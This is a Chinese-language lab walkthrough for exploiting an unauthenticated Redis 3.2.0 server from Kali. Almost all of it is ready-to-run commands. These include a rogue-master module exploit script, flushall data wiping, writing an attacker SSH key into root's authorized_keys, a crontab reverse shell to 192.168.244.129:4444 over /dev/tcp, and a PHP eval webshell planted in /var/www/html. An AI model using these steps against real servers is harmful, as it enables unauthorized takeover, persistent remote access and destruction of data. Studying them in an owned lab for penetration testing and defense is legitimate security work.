环境搭建
打开kali终端 输入命令
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
make
cd src
cp redis-server /usr/bin
cp redis-cli /usr/bin
将redis-server和redis-cli拷贝到/usr/bin目录下
cd ..
返回目录redis-3.2,将redis.conf拷贝到/etc/目录下:
cp redis.conf /etc
使用/etc/目录下的reids.conf文件中的配置启动redis服务:
再次进入src目录
redis-server /etc/redis.conf
编辑etc中的redis配置文件redis.conf
vim /etc/redis.conf


打开kali的第二个终端 再次来到src目录
cd redis-3.2.0
ls
cd src
./redis-cli -h (ip地址)
get dir 或者info
一、脚本测试
https://github.com/vulhub/redis-rogue-getshell
cd RedisModulesSDK/
make
cd ../
python3 redis-master.py -r 192.168.49.2 -p 6379 -L 192.168.49.5 -P 4441 -f RedisModulesSDK/exp.so -c "id"
二、手工测试
1.远程连接

查看里面的key和其对应的值
2. Redis删除数据
flushall 删除所有数据
del key 删除键为key的数据

3.通过ssh密钥登陆Redis Server
攻击机上ssh-keygen生成公钥和私钥,将公钥写入Redis服务器,即可使用私钥登陆
ssh-keygen
cat /root/.ssh/id_rsa.pub

输入以下命令:
cd /root/.ssh
ls
(echo -e " "; cat id_rsa.pub; echo -e " ") > key.txt

cat /root/.ssh/key.txt | ./redis-cli -h 192.168.244.128 -x set xxx

./redis-cli -h 192.168.244.128
config set dir /root/.ssh
config set dbfilename authorized_keys
keys *
save

这时候用ssh远程连接:
ssh 192.168.244.128
4.在crontab里写定时任务,反弹shell
首先攻击端 开启监听
nc -l 4444
连接redis,写入定时任务
./redis-cli -h 192.168.244.128
set xxx " */1 * * * * /bin/bash -i>&/dev/tcp/192.168.244.129/4444 0>&1 "
config set dir /var/spool/cron
config set dbfilename root
save

5.写入webshell文件
./redis-cli -h 192.168.244.128
config set dir /var/www/html
set xxx " <?php @eval($_POST['c']);?> "
config set dbfilename webshell.php
save

脚本检测
https://github.com/n0b0dyCN/redis-rogue-server